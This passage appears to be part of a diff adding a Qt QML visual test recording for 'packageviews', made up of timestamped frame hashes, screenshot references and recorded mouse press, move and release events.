+ Frame {
+ msec: 944
+ hash: "3ba0b907dad0bfa9b20337d41661030b"
+ }
+ Frame {
+ msec: 960
+ hash: "9748e4da669f474bf10abfe7a9c013fd"
+ }
+ Frame {
+ msec: 976
+ image: "packageviews.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "5af677254d12dc96b82cde90c5a65140"
+ }
+ Frame {
+ msec: 1008
+ hash: "72cb4e75acb87de293a3cb1872eb946b"
+ }
+ Frame {
+ msec: 1024
+ hash: "9b057090349c0c544036a33a60710920"
+ }
+ Frame {
+ msec: 1040
+ hash: "ae19cf81092e75979b6471c0b05541cf"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 48; y: 165
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1056
+ hash: "0f42c19fee319bc8c27a89e9692c5cd9"
+ }
+ Frame {
+ msec: 1072
+ hash: "865e19e35f361b08e6e844aa88d149eb"
+ }
+ Frame {
+ msec: 1088
+ hash: "d5fcf7bd78da8918a3512a76189c7202"
+ }
+ Frame {
+ msec: 1104
+ hash: "d2a6b42c2a3f7ca9eb35acc47f1faaf6"
+ }
+ Frame {
+ msec: 1120
+ hash: "1388e856eb04fc24091c94406f4b5118"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 48; y: 165
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1136
+ hash: "1388e856eb04fc24091c94406f4b5118"
+ }
+ Frame {
+ msec: 1152
+ hash: "d529b6dcf510392488b370f6cfb87b3c"
+ }
+ Frame {
+ msec: 1168
+ hash: "a50b1f2869c95f97a194a95581fa7be9"
+ }
+ Frame {
+ msec: 1184
+ hash: "4bbee959f95548c3e76fb60ad363c184"
+ }
+ Frame {
+ msec: 1200
+ hash: "5ec0185f4479377579822f92eb7f375a"
+ }
+ Frame {
+ msec: 1216
+ hash: "263d09b9447d942c6c048139164d4427"
+ }
+ Frame {
+ msec: 1232
+ hash: "291cc81fc3f82bca46db4e4403f39d49"
+ }
+ Frame {
+ msec: 1248
+ hash: "c212f98ededa9ce7fc0fec697116a8e2"
+ }
+ Frame {
+ msec: 1264
+ hash: "4309ef22d0c36d28a462ab2d4bf2cabd"
+ }
+ Frame {
+ msec: 1280
+ hash: "f899f861c569416708c6754d821239e9"
+ }
+ Frame {
+ msec: 1296
+ hash: "ed5ec237020ff06f258ce6e1b31e5eb8"
+ }
+ Frame {
+ msec: 1312
+ hash: "98f3fe1c211d4f7bdc47b4a485226f14"
+ }
+ Frame {
+ msec: 1328
+ hash: "40e376d37a85d225c46579b8f7c27159"
+ }
+ Frame {
+ msec: 1344
+ hash: "cc8a178bf0cfc285185d17b37722bf41"
+ }
+ Frame {
+ msec: 1360
+ hash: "b612439873d0eeb015d31cccd8e5a436"
+ }
+ Frame {
+ msec: 1376
+ hash: "48c436165872098b474d0c691df11473"
+ }
+ Frame {
+ msec: 1392
+ hash: "48c436165872098b474d0c691df11473"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 44; y: 50
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1408
+ hash: "48c436165872098b474d0c691df11473"
+ }
+ Frame {
+ msec: 1424
+ hash: "48c436165872098b474d0c691df11473"
+ }
+ Frame {
+ msec: 1440
+ hash: "48c436165872098b474d0c691df11473"
+ }
+ Frame {
+ msec: 1456
+ hash: "48c436165872098b474d0c691df11473"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 44; y: 50
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1472
+ hash: "48c436165872098b474d0c691df11473"
+ }
+ Frame {
+ msec: 1488
+ hash: "33cb50c11326c0589c7cc43ba6193e03"
+ }
+ Frame {
+ msec: 1504
+ hash: "3f7e7534ccd7105762c78afab5ab997d"
+ }
+ Frame {
+ msec: 1520
+ hash: "53b23d3eb2aaa1b21e4abaf9c0bfc7f2"
+ }
+ Frame {
+ msec: 1536
+ hash: "609b37b12154291a28961210e81049fb"
+ }
+ Frame {
+ msec: 1552
+ hash: "33cc6e17d087c251381ecf1b4cb9887c"
+ }
+ Frame {
+ msec: 1568
+ hash: "dcb3e716035ca3f43895fda99c27e0d8"
+ }
+ Frame {
+ msec: 1584
+ hash: "56bb753199873fac4ed9f30682bd1a3c"
+ }
+ Frame {
+ msec: 1600
+ hash: "8b744c5cbf6154b73bd6c4fe6b087f0a"
+ }
+ Frame {
+ msec: 1616
+ hash: "f2d5996d7fd5391a4d96493e9ef6a637"
+ }
+ Frame {
+ msec: 1632
+ hash: "4407a05b64c68d43b29124df1f0d8f44"
+ }
+ Frame {
+ msec: 1648
+ hash: "b71e43a8f7aa7a58cea80629b782a972"
+ }
+ Frame {
+ msec: 1664
+ hash: "cca961a04dfdf9da8282219f2022fd2e"
+ }
+ Frame {
+ msec: 1680
+ hash: "f3349a7ae7d7a97a6665476244d46dd6"
+ }
+ Frame {
+ msec: 1696
+ hash: "78fc6123a10c027faa08dc2ff8318acc"
+ }
+ Frame {
+ msec: 1712
+ hash: "6056cb02b921b56c63696d7fe9fe90fa"
+ }
+ Frame {
+ msec: 1728
+ hash: "6056cb02b921b56c63696d7fe9fe90fa"
+ }
+ Frame {
+ msec: 1744
+ hash: "6056cb02b921b56c63696d7fe9fe90fa"
+ }
+ Frame {
+ msec: 1760
+ hash: "6056cb02b921b56c63696d7fe9fe90fa"
+ }
+ Frame {
+ msec: 1776
+ hash: "6056cb02b921b56c63696d7fe9fe90fa"
+ }
+ Frame {
+ msec: 1792
+ hash: "6056cb02b921b56c63696d7fe9fe90fa"
+ }
+ Frame {
+ msec: 1808
+ hash: "6056cb02b921b56c63696d7fe9fe90fa"
+ }
+ Frame {
+ msec: 1824
+ hash: "6056cb02b921b56c63696d7fe9fe90fa"
+ }
+ Frame {
+ msec: 1840
+ hash: "6056cb02b921b56c63696d7fe9fe90fa"
+ }
+ Frame {
+ msec: 1856
+ hash: "6056cb02b921b56c63696d7fe9fe90fa"
+ }
+ Frame {
+ msec: 1872
+ hash: "6056cb02b921b56c63696d7fe9fe90fa"
+ }
+ Frame {
+ msec: 1888
+ hash: "6056cb02b921b56c63696d7fe9fe90fa"
+ }
+ Frame {
+ msec: 1904
+ hash: "6056cb02b921b56c63696d7fe9fe90fa"
+ }
+ Frame {
+ msec: 1920
+ hash: "6056cb02b921b56c63696d7fe9fe90fa"
+ }
+ Frame {
+ msec: 1936
+ image: "packageviews.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "6056cb02b921b56c63696d7fe9fe90fa"
+ }
+ Frame {
+ msec: 1968
+ hash: "6056cb02b921b56c63696d7fe9fe90fa"
+ }
+ Frame {
+ msec: 1984
+ hash: "6056cb02b921b56c63696d7fe9fe90fa"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 181; y: 76
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2000
+ hash: "6056cb02b921b56c63696d7fe9fe90fa"
+ }
+ Frame {
+ msec: 2016
+ hash: "6056cb02b921b56c63696d7fe9fe90fa"
+ }
+ Frame {
+ msec: 2032
+ hash: "6056cb02b921b56c63696d7fe9fe90fa"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 181; y: 76
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2048
+ hash: "9f94c38547da1855e4bd3ae498aed705"
+ }
+ Frame {
+ msec: 2064
+ hash: "783f73da3736a2c554c8d749ce0522c0"
+ }
+ Frame {
+ msec: 2080
+ hash: "9a0e1c2bed75874381e4b1ce275d0f68"
+ }
+ Frame {
+ msec: 2096
+ hash: "e2ce85192977e6422c89190b3cea4518"
+ }
+ Frame {
+ msec: 2112
+ hash: "ba9c80ff0ed723bca702cb6b4c6dfb76"
+ }
+ Frame {
+ msec: 2128
+ hash: "7e194db1b86bc7346248d2acf34af286"
+ }
+ Frame {
+ msec: 2144
+ hash: "cdd013bb8ee5880b16449efc99dd3ae5"
+ }
+ Frame {
+ msec: 2160
+ hash: "3ef7d0fb43c2a1c1398f1152573974e0"
+ }
+ Frame {
+ msec: 2176
+ hash: "176d1a86257cc85315dac4ecfe33f543"
+ }
+ Frame {
+ msec: 2192
+ hash: "6def1267e573217a19e7b8e2cf6d7b6c"
+ }
+ Frame {
+ msec: 2208
+ hash: "f679db34d99e24cda2e41c2afeaf551e"
+ }
+ Frame {
+ msec: 2224
+ hash: "54a27193c5e59cd7220b65d8fbbd9061"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 112; y: 79
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2240
+ hash: "171db3d0bf50062a0d7edd8e4c174024"
+ }
+ Frame {
+ msec: 2256
+ hash: "9a7d293dc455e1ef0d18f44c3db7eed7"
+ }
+ Frame {
+ msec: 2272
+ hash: "83bef2586d5abeb0ac8765d62135d308"
+ }
+ Frame {
+ msec: 2288
+ hash: "56fed2e01cc8a6b9ccbf15731d4e533b"
+ }
+ Frame {
+ msec: 2304
+ hash: "10174f2574c51155b8ee77ae545ac76d"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 112; y: 79
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2320
+ hash: "107928ffebd936080325a1f4e39a0ac0"
+ }
+ Frame {
+ msec: 2336
+ hash: "107928ffebd936080325a1f4e39a0ac0"
+ }
+ Frame {
+ msec: 2352
+ hash: "d46e040f85295e66d8b22185be553d3e"
+ }
+ Frame {
+ msec: 2368
+ hash: "3368a34c316486a779d62d143588b425"
+ }
+ Frame {
+ msec: 2384
+ hash: "8f4cd4223c05e1b06a688c5eabc2a854"
+ }
+ Frame {
+ msec: 2400
+ hash: "b576bf54b4bae38e8af6d922b3c73463"
+ }
+ Frame {
+ msec: 2416
+ hash: "a3a238f5bf182ec6afc398569fd51ac7"
+ }
+ Frame {
+ msec: 2432
+ hash: "a31329ba054a6fe144c030cffb5bd401"
+ }
+ Frame {
+ msec: 2448
+ hash: "0a4b96a93e62359b6003daa703af1a5f"
+ }
+ Frame {
+ msec: 2464
+ hash: "a16f126d874d957b879f45d36e88df34"
+ }
+ Frame {
+ msec: 2480
+ hash: "89735c5b14f075b8f65533d16b3f714a"
+ }
+ Frame {
+ msec: 2496
+ hash: "5d67dac0c4d2cf60e4cb717f4e4bc25f"
+ }
+ Frame {
+ msec: 2512
+ hash: "dbfcc86e621a140466dd2a9215087e81"
+ }
+ Frame {
+ msec: 2528
+ hash: "9f8dfa788048466dc07463e83d0377ff"
+ }
+ Frame {
+ msec: 2544
+ hash: "021e1edec94a1909790a4acdbbc71fd8"
+ }
+ Frame {
+ msec: 2560
+ hash: "f16be9ff4aba07708d469d6cfb80f1c2"
+ }
+ Frame {
+ msec: 2576
+ hash: "1ab35df24a27349264ec282eb1f53018"
+ }
+ Frame {
+ msec: 2592
+ hash: "1ab35df24a27349264ec282eb1f53018"
+ }
+ Frame {
+ msec: 2608
+ hash: "1ab35df24a27349264ec282eb1f53018"
+ }
+ Frame {
+ msec: 2624
+ hash: "1ab35df24a27349264ec282eb1f53018"
+ }
+ Frame {
+ msec: 2640
+ hash: "1ab35df24a27349264ec282eb1f53018"
+ }
+ Frame {
+ msec: 2656
+ hash: "1ab35df24a27349264ec282eb1f53018"
+ }
+ Frame {
+ msec: 2672
+ hash: "1ab35df24a27349264ec282eb1f53018"
+ }
+ Frame {
+ msec: 2688
+ hash: "1ab35df24a27349264ec282eb1f53018"
+ }
+ Frame {
+ msec: 2704
+ hash: "1ab35df24a27349264ec282eb1f53018"
+ }
+ Frame {
+ msec: 2720
+ hash: "1ab35df24a27349264ec282eb1f53018"
+ }
+ Frame {
+ msec: 2736
+ hash: "1ab35df24a27349264ec282eb1f53018"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 116; y: 165
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2752
+ hash: "1ab35df24a27349264ec282eb1f53018"
+ }
+ Frame {
+ msec: 2768
+ hash: "1ab35df24a27349264ec282eb1f53018"
+ }
+ Frame {
+ msec: 2784
+ hash: "1ab35df24a27349264ec282eb1f53018"
+ }
+ Frame {
+ msec: 2800
+ hash: "1ab35df24a27349264ec282eb1f53018"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 116; y: 165
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2816
+ hash: "a0aa5583886efc9bb0571bbb02fdb051"
+ }
+ Frame {
+ msec: 2832
+ hash: "a0aa5583886efc9bb0571bbb02fdb051"
+ }
+ Frame {
+ msec: 2848
+ hash: "edec25fdce2e05c0456434be4b8fad84"
+ }
+ Frame {
+ msec: 2864
+ hash: "0c2061fc908c98980404b9e08acdc2f2"
+ }
+ Frame {
+ msec: 2880
+ hash: "7bb02b032c1dcb4a7b3e6604ea5a8a8d"
+ }
+ Frame {
+ msec: 2896
+ image: "packageviews.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "3a80012f6ca448fc30db70e9bcb23ddc"
+ }
+ Frame {
+ msec: 2928
+ hash: "22a68838e9f6039e782facce7cfe0c9b"
+ }
+ Frame {
+ msec: 2944
+ hash: "243fcc73e46db96ab6a91748adeff1a9"
+ }
+ Frame {
+ msec: 2960
+ hash: "433bf03a821da5641909785b4c22cb55"
+ }
+ Frame {
+ msec: 2976
+ hash: "66be8aa73b1e7173d899df3c0b9072a6"
+ }
+ Frame {
+ msec: 2992
+ hash: "d7e563c1a1db45865794351daea5eb08"
+ }
+ Frame {
+ msec: 3008
+ hash: "cc4345c2d4d0d7748c352a22f63030cb"
+ }
+ Frame {
+ msec: 3024
+ hash: "382172adf3a339cac16a3e185ef4bb05"
+ }
+ Frame {
+ msec: 3040
+ hash: "6019a3eac1825acdeac24d39c898d506"
+ }
+ Frame {
+ msec: 3056
+ hash: "ac4b9427592a6fe7585625de8d1bff96"
+ }
+ Frame {
+ msec: 3072
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 3088
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 3104
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 3120
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 3136
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 3152
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 3168
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 80; y: 189
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3184
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 3200
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 3216
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 3232
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 80; y: 189
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3248
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 3264
+ hash: "a623e09cddb4304db658e30aef433dd8"
+ }
+ Frame {
+ msec: 3280
+ hash: "4dce74fbb6649138a6ea6c288818fda5"
+ }
+ Frame {
+ msec: 3296
+ hash: "2356d6d1f8481cf60542126f197ee0b1"
+ }
+ Frame {
+ msec: 3312
+ hash: "7553601e70a7ccc3c60306fcf4999bed"
+ }
+ Frame {
+ msec: 3328
+ hash: "bc86afd210d18dc68b433d70705b6603"
+ }
+ Frame {
+ msec: 3344
+ hash: "8538d87120dd14958f92b81ceff304a3"
+ }
+ Frame {
+ msec: 3360
+ hash: "2a8d299ff16589069d493bbab2ceda53"
+ }
+ Frame {
+ msec: 3376
+ hash: "9f92b838c36e46d61a78f9013f04b580"
+ }
+ Frame {
+ msec: 3392
+ hash: "7e6710b5491d5b9ad9a84691eadaa66c"
+ }
+ Frame {
+ msec: 3408
+ hash: "1b165e39ff01747d5e9ad0d8769c8ee9"
+ }
+ Frame {
+ msec: 3424
+ hash: "f78ad1eeb030eb58f8140da041acf4cd"
+ }
+ Frame {
+ msec: 3440
+ hash: "f009dcb6b085ae38a45206f35ab37754"
+ }
+ Frame {
+ msec: 3456
+ hash: "371dd67bf5a16ea085a256dd2e2583f9"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 75; y: 164
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3472
+ hash: "9a0606cd6930b3f992f0533f3f6a0f7a"
+ }
+ Frame {
+ msec: 3488
+ hash: "1d538ccb1874fe2ddb410d48ca668d74"
+ }
+ Frame {
+ msec: 3504
+ hash: "71e08cb1eced66950e5893306b3043e7"
+ }
+ Frame {
+ msec: 3520
+ hash: "71e08cb1eced66950e5893306b3043e7"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 75; y: 164
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3536
+ hash: "71e08cb1eced66950e5893306b3043e7"
+ }
+ Frame {
+ msec: 3552
+ hash: "2da0d9bb50d97ca78ee56f3c528a7db5"
+ }
+ Frame {
+ msec: 3568
+ hash: "7f5105df4d41a6739ce13d69451d6059"
+ }
+ Frame {
+ msec: 3584
+ hash: "8d171773d643ca5bfb095208efe841a9"
+ }
+ Frame {
+ msec: 3600
+ hash: "8aa93bddb58d0533b03d2b7fc6efb839"
+ }
+ Frame {
+ msec: 3616
+ hash: "26e2bcff7c3de9995e29fd8a06db4139"
+ }
+ Frame {
+ msec: 3632
+ hash: "94fe4626d8f978649bf200bf79885ec0"
+ }
+ Frame {
+ msec: 3648
+ hash: "61e92064d9da2db6ea0adfdffaad81f6"
+ }
+ Frame {
+ msec: 3664
+ hash: "54d5845c08eb5cc9263c84146fd9fcd2"
+ }
+ Frame {
+ msec: 3680
+ hash: "d10a128980a46713093899696110d81e"
+ }
+ Frame {
+ msec: 3696
+ hash: "ff6301533f4fb29194f20a4520824030"
+ }
+ Frame {
+ msec: 3712
+ hash: "598b6e7c6c6c0de77b4793d1f68beea6"
+ }
+ Frame {
+ msec: 3728
+ hash: "e3d123e179a6930e1bc1864095621607"
+ }
+ Frame {
+ msec: 3744
+ hash: "b1bb4c350969f579630680803e622662"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 72; y: 147
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3760
+ hash: "3dd276bb96dd3a5ef96095e0b8251c05"
+ }
+ Frame {
+ msec: 3776
+ hash: "144402c1397313fb5d13b4972bb3a450"
+ }
+ Frame {
+ msec: 3792
+ hash: "144402c1397313fb5d13b4972bb3a450"
+ }
+ Frame {
+ msec: 3808
+ hash: "144402c1397313fb5d13b4972bb3a450"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 72; y: 146
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 72; y: 146
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3824
+ hash: "144402c1397313fb5d13b4972bb3a450"
+ }
+ Frame {
+ msec: 3840
+ hash: "6dbc00069eca813c20731afdf0d25e35"
+ }
+ Frame {
+ msec: 3856
+ image: "packageviews.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "1f7a173f70f04adcc28481cfa40ad82e"
+ }
+ Frame {
+ msec: 3888
+ hash: "5189e3a7f4c93d6095d526ee4583adea"
+ }
+ Frame {
+ msec: 3904
+ hash: "03ef5fa51d7455e58c34c52be2b2625b"
+ }
+ Frame {
+ msec: 3920
+ hash: "6589088e4efab3426d5b3c08f885fcc4"
+ }
+ Frame {
+ msec: 3936
+ hash: "35593c99aa3f7040efe6420ce90426f7"
+ }
+ Frame {
+ msec: 3952
+ hash: "61e13ba4ed7251e607ae299841b55fea"
+ }
+ Frame {
+ msec: 3968
+ hash: "7bc5f663e54b6ac10b7aa8787de0483a"
+ }
+ Frame {
+ msec: 3984
+ hash: "141e2fa188fabeef8587770b2d18538c"
+ }
+ Frame {
+ msec: 4000
+ hash: "5f59ea38bb55096d6ca50ffb9e9706ec"
+ }
+ Frame {
+ msec: 4016
+ hash: "9ff31c7768afa3eba211e862bbfddda1"
+ }
+ Frame {
+ msec: 4032
+ hash: "f8731aa264c5e534f13f4fa89fc320a1"
+ }
+ Frame {
+ msec: 4048
+ hash: "87bc86979d05432f8ad16ca1f0537fa0"
+ }
+ Frame {
+ msec: 4064
+ hash: "749f93235f677af13d162aacfde3840a"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 69; y: 113
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4080
+ hash: "3af211e45026670fef0e5b391bad3455"
+ }
+ Frame {
+ msec: 4096
+ hash: "3af211e45026670fef0e5b391bad3455"
+ }
+ Frame {
+ msec: 4112
+ hash: "3af211e45026670fef0e5b391bad3455"
+ }
+ Frame {
+ msec: 4128
+ hash: "3af211e45026670fef0e5b391bad3455"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 112
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4144
+ hash: "3af211e45026670fef0e5b391bad3455"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 70; y: 112
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4160
+ hash: "3af211e45026670fef0e5b391bad3455"
+ }
+ Frame {
+ msec: 4176
+ hash: "de1b3a0b2ffb02f4969ce532bb7d6ad9"
+ }
+ Frame {
+ msec: 4192
+ hash: "1e0bb98146f64975c4d5b8f8ef65319c"
+ }
+ Frame {
+ msec: 4208
+ hash: "3540ee1fc403cc923100888e3bd15168"
+ }
+ Frame {
+ msec: 4224
+ hash: "8f8178db769ed067e40c06ec2a8f3e3f"
+ }
+ Frame {
+ msec: 4240
+ hash: "18310df1f8f735313e71739c58b2e42d"
+ }
+ Frame {
+ msec: 4256
+ hash: "0797a57080ad60f00a185ad7eecbc40f"
+ }
+ Frame {
+ msec: 4272
+ hash: "80cffb466c0e8947f775a4b7a677cd20"
+ }
+ Frame {
+ msec: 4288
+ hash: "3f80ed589a282924e1dd4fbbd99078b0"
+ }
+ Frame {
+ msec: 4304
+ hash: "7368b2da0c37d4b212fff8222244d413"
+ }
+ Frame {
+ msec: 4320
+ hash: "7fb81e12fc1cb3e6f08a4bd0af23f40d"
+ }
+ Frame {
+ msec: 4336
+ hash: "6677c15df6babf38036d4083c63c2684"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 67; y: 89
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4352
+ hash: "106d90e84bd5b88c5df048ffc717e843"
+ }
+ Frame {
+ msec: 4368
+ hash: "ce69c7e561e9f0c1fd5f3dba2ffda3e8"
+ }
+ Frame {
+ msec: 4384
+ hash: "63b2956e9bad879bef156a318162656c"
+ }
+ Frame {
+ msec: 4400
+ hash: "e9f02812bdd7071d1ceb71e0c2195f3a"
+ }
+ Frame {
+ msec: 4416
+ hash: "e9f02812bdd7071d1ceb71e0c2195f3a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 67; y: 88
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4432
+ hash: "e9f02812bdd7071d1ceb71e0c2195f3a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 67; y: 87
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 67; y: 87
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4448
+ hash: "e9f02812bdd7071d1ceb71e0c2195f3a"
+ }
+ Frame {
+ msec: 4464
+ hash: "e33d1f7d03ec85600cb61896c66fd9ca"
+ }
+ Frame {
+ msec: 4480
+ hash: "72347f42ad925abdc614244b2ec01e7a"
+ }
+ Frame {
+ msec: 4496
+ hash: "5fbd0e2ce5e2fe609dfc5e5643bfbc8a"
+ }
+ Frame {
+ msec: 4512
+ hash: "4bcb24b700ac09da7387738bce36def5"
+ }
+ Frame {
+ msec: 4528
+ hash: "7c489062131ef9fcdfe765cd0361361b"
+ }
+ Frame {
+ msec: 4544
+ hash: "c4c1834200b2b7b3eb38b20d7147b8ee"
+ }
+ Frame {
+ msec: 4560
+ hash: "49994b7471ec620ff52e5ba516bbb5d4"
+ }
+ Frame {
+ msec: 4576
+ hash: "e1cf4e92e291b8509a8eb8a84f70dcad"
+ }
+ Frame {
+ msec: 4592
+ hash: "9c7d6d53aa6089712389b1c2b4207d15"
+ }
+ Frame {
+ msec: 4608
+ hash: "408731f3b11d888fff1ef9340ad1c568"
+ }
+ Frame {
+ msec: 4624
+ hash: "d34f3092b84dea762adf7cf86c80abc6"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 67; y: 67
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4640
+ hash: "d0202d3154721c968301e4fdb759b5d2"
+ }
+ Frame {
+ msec: 4656
+ hash: "89601cb9b82465f6ae96156b7e259e70"
+ }
+ Frame {
+ msec: 4672
+ hash: "7c775a699646acf45f26dea5bd5db783"
+ }
+ Frame {
+ msec: 4688
+ hash: "be285c318afaeb932a2fd50fdc357813"
+ }
+ Frame {
+ msec: 4704
+ hash: "5ddee39853aa1b8d1be287c86e5b763c"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 67; y: 67
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4720
+ hash: "5ddee39853aa1b8d1be287c86e5b763c"
+ }
+ Frame {
+ msec: 4736
+ hash: "8386713865c12636ce442cd31eacb8ba"
+ }
+ Frame {
+ msec: 4752
+ hash: "9f4df793b3b6320e238b451e35183b9f"
+ }
+ Frame {
+ msec: 4768
+ hash: "3cd41f6ab2303dd666269cca13dc95e3"
+ }
+ Frame {
+ msec: 4784
+ hash: "504a3dd9018c3c725a92a9d6e84743fc"
+ }
+ Frame {
+ msec: 4800
+ hash: "a703cbbef38b49be2d3033163ad450e7"
+ }
+ Frame {
+ msec: 4816
+ image: "packageviews.5.png"
+ }
+ Frame {
+ msec: 4832
+ hash: "c4f7130484f17854eace9e541c92207a"
+ }
+ Frame {
+ msec: 4848
+ hash: "406a0371c7366fadefcbae7d428d1879"
+ }
+ Frame {
+ msec: 4864
+ hash: "f9d6128c4fe60d95a001642cb80ccb99"
+ }
+ Frame {
+ msec: 4880
+ hash: "2fb6886550a0eb7927274cd9cfc46819"
+ }
+ Frame {
+ msec: 4896
+ hash: "dd4ac1eb6d18bc267b2f39d6d291a8bd"
+ }
+ Frame {
+ msec: 4912
+ hash: "7f1e1114fe65b7a54364a04ad7697d4c"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 66; y: 45
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4928
+ hash: "60a4882d0384489465fec8660933c29c"
+ }
+ Frame {
+ msec: 4944
+ hash: "2330e35830fb707c9d9074b54cd5c7f6"
+ }
+ Frame {
+ msec: 4960
+ hash: "02c275412e380c7f2878bc1f01e2850a"
+ }
+ Frame {
+ msec: 4976
+ hash: "02c275412e380c7f2878bc1f01e2850a"
+ }
+ Frame {
+ msec: 4992
+ hash: "02c275412e380c7f2878bc1f01e2850a"
+ }
+ Frame {
+ msec: 5008
+ hash: "02c275412e380c7f2878bc1f01e2850a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 66; y: 44
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 66; y: 43
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 66; y: 43
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5024
+ hash: "02c275412e380c7f2878bc1f01e2850a"
+ }
+ Frame {
+ msec: 5040
+ hash: "a304ddc3e20220f7ed06aeae22589927"
+ }
+ Frame {
+ msec: 5056
+ hash: "8ef8e13dff7e5f12c1d0a7a0e438a24f"
+ }
+ Frame {
+ msec: 5072
+ hash: "ef7ef97e56c6b7579e11022861dd3eb5"
+ }
+ Frame {
+ msec: 5088
+ hash: "133613dd5ac9242ce0b6926986cd384a"
+ }
+ Frame {
+ msec: 5104
+ hash: "eb5125c97b9deca07e999ec7e78986b3"
+ }
+ Frame {
+ msec: 5120
+ hash: "123c37efefdc1c8e6b27b7eff3bffff8"
+ }
+ Frame {
+ msec: 5136
+ hash: "8443d904bcb63ab2d14cbb5a2e2a8fe7"
+ }
+ Frame {
+ msec: 5152
+ hash: "379826db02c7e5cb8ab9007a419e34f9"
+ }
+ Frame {
+ msec: 5168
+ hash: "672d45cdc24a2e1286956e3ce00cab56"
+ }
+ Frame {
+ msec: 5184
+ hash: "cbaa7c4f52b2ebc1176a3bbe3e029487"
+ }
+ Frame {
+ msec: 5200
+ hash: "35d70b84722fecd08b1c03f01c5a9895"
